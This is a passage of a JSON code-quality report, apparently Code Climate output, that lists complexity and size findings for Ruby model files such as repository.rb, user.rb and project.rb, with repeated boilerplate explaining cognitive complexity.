refactoring.","fingerprint":"0f9f931c8a1748472719ac1b03432d6c","location":{"path":"app/models/concerns/relative_positioning.rb","lines":{"begin":119,"end":139}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `status_sql` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"46850ccc347015917b7f7d5813dfbb20","location":{"path":"app/models/concerns/has_status.rb","lines":{"begin":19,"end":46}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `has_internal_id` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1753643cebf17fe9b88665c4895f0bc6","location":{"path":"app/models/concerns/atomic_internal_id.rb","lines":{"begin":30,"end":56}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_by_full_path` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9de369584b4bc5dcd50146b7967ef3b0","location":{"path":"app/models/concerns/routable.rb","lines":{"begin":35,"end":60}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `where_full_path_in` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1d7711a695fff8bdfaa49dc578b0132c","location":{"path":"app/models/concerns/routable.rb","lines":{"begin":69,"end":91}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `manual_inverse_association` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"53ad262470fd01998ef23cb50fac0495","location":{"path":"app/models/concerns/manual_inverse_association.rb","lines":{"begin":7,"end":17}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `raw_participants` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"014b735c6a47b089e8ef4112c427cdf6","location":{"path":"app/models/concerns/participable.rb","lines":{"begin":72,"end":104}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each_batch` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5ca9b6fe345855869ed62b41036772f6","location":{"path":"app/models/concerns/each_batch.rb","lines":{"begin":42,"end":81}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `each_batch` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e56746932db5150f690993cd09ec2c5a","location":{"path":"app/models/concerns/each_batch.rb","lines":{"begin":42,"end":81}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `add_authentication_token_field` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9ffe8c5e6736ff7519d2b0ad210f55dd","location":{"path":"app/models/concerns/token_authenticatable.rb","lines":{"begin":31,"end":60}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `to_hook_data` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"651dd445a68aa882af831870aac09fe6","location":{"path":"app/models/concerns/issuable.rb","lines":{"begin":264,"end":290}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `notes_with_associations` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"edf734b8128847bcceb4300c584ab8e9","location":{"path":"app/models/concerns/issuable.rb","lines":{"begin":318,"end":334}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `max_member_access_for_resource_ids` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9a3525a1273d674a7a5dd1b4599a6b80","location":{"path":"app/models/concerns/bulk_member_access_load.rb","lines":{"begin":12,"end":40}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `enum_with_nil` has a Cognitive Complexity of 20 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d195530dc1d564b6a5a2361310657dd7","location":{"path":"app/models/concerns/enum_with_nil.rb","lines":{"begin":7,"end":33}},"other_locations":[],"remediation_points":1650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `labels_str` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bf445c84a1f8ebfebacc811382517d81","location":{"path":"app/models/label_note.rb","lines":{"begin":77,"end":90}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `notifiable?` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"76278bc24d3f0c41a172b68e2f632daa","location":{"path":"app/models/notification_recipient.rb","lines":{"begin":31,"end":46}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `has_access?` has a Cognitive Complexity of 22 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4264d898878128898c4e12b32b905f8a","location":{"path":"app/models/notification_recipient.rb","lines":{"begin":88,"end":101}},"other_locations":[],"remediation_points":1850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_notification_setting` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"cf0f0817b180212c8e825cbbed40b752","location":{"path":"app/models/notification_recipient.rb","lines":{"begin":144,"end":154}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `closest_non_global_group_notification_settting` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9f65343a59de0315d68462b18f90defe","location":{"path":"app/models/notification_recipient.rb","lines":{"begin":157,"end":169}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"return_statements","content":{"body":""},"description":"Avoid too many `return` statements within this method.","location":{"path":"app/models/notification_recipient.rb","lines":{"begin":43,"end":43}},"other_locations":[],"remediation_points":300000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"d25d7135d797df677ee520a8a97ae9a6"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `find_commits_by_message` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"0c28ee46d93aa21d37eeb5b2a26d394f","location":{"path":"app/models/repository.rb","lines":{"begin":161,"end":161}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `repository.rb` has 758 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"849ce5e0e3a20d8ed78311435ce5fce9","location":{"path":"app/models/repository.rb","lines":{"begin":3,"end":1058}},"other_locations":[],"remediation_points":8515200,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `keep_around` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8ffb83b66ddf0a719303059ae40ce506","location":{"path":"app/models/repository.rb","lines":{"begin":249,"end":262}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `tree` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"38d273d7d1372c09c7a5c165e170a642","location":{"path":"app/models/repository.rb","lines":{"begin":647,"end":659}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `next_branch` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"53a66b748f45002bcdd585986f4f828f","location":{"path":"app/models/repository.rb","lines":{"begin":684,"end":697}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Repository` has 128 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"1ffa67f7557cad6dc009a3331141e757","location":{"path":"app/models/repository.rb","lines":{"begin":5,"end":1058}},"other_locations":[],"remediation_points":12000000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `enabled` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"38454ee90e05a227558719509fe5ec29","location":{"path":"app/models/remote_mirror.rb","lines":{"begin":104,"end":111}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `RemoteMirror` has 24 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"24334db25a09b73ccd711bb06c29a822","location":{"path":"app/models/remote_mirror.rb","lines":{"begin":3,"end":229}},"other_locations":[],"remediation_points":1600000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `initialize` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9c206e4584e2321188004de82f54d910","location":{"path":"app/models/commit_range.rb","lines":{"begin":62,"end":82}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `user.rb` has 1050 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"11e77959335527c9cb28992c10d37866","location":{"path":"app/models/user.rb","lines":{"begin":3,"end":1502}},"other_locations":[],"remediation_points":12720000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `increment_failed_attempts!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"51accad62fa466380528844722430a98","location":{"path":"app/models/user.rb","lines":{"begin":1253,"end":1264}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `ensure_user_rights_and_limits` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c7a575c65331c7b917638baa8941d41c","location":{"path":"app/models/user.rb","lines":{"begin":1405,"end":1414}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `signup_domain_valid?` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a9b5f7bc9d9c55cfe5d888bed2fb420a","location":{"path":"app/models/user.rb","lines":{"begin":1416,"end":1441}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `User` has 178 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"f685bcbb6f822884dec234767db1861a","location":{"path":"app/models/user.rb","lines":{"begin":5,"end":1502}},"other_locations":[],"remediation_points":17000000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `project.rb` has 1664 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"531155f760c7355b54c66683855d1397","location":{"path":"app/models/project.rb","lines":{"begin":3,"end":2277}},"other_locations":[],"remediation_points":21561600,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method 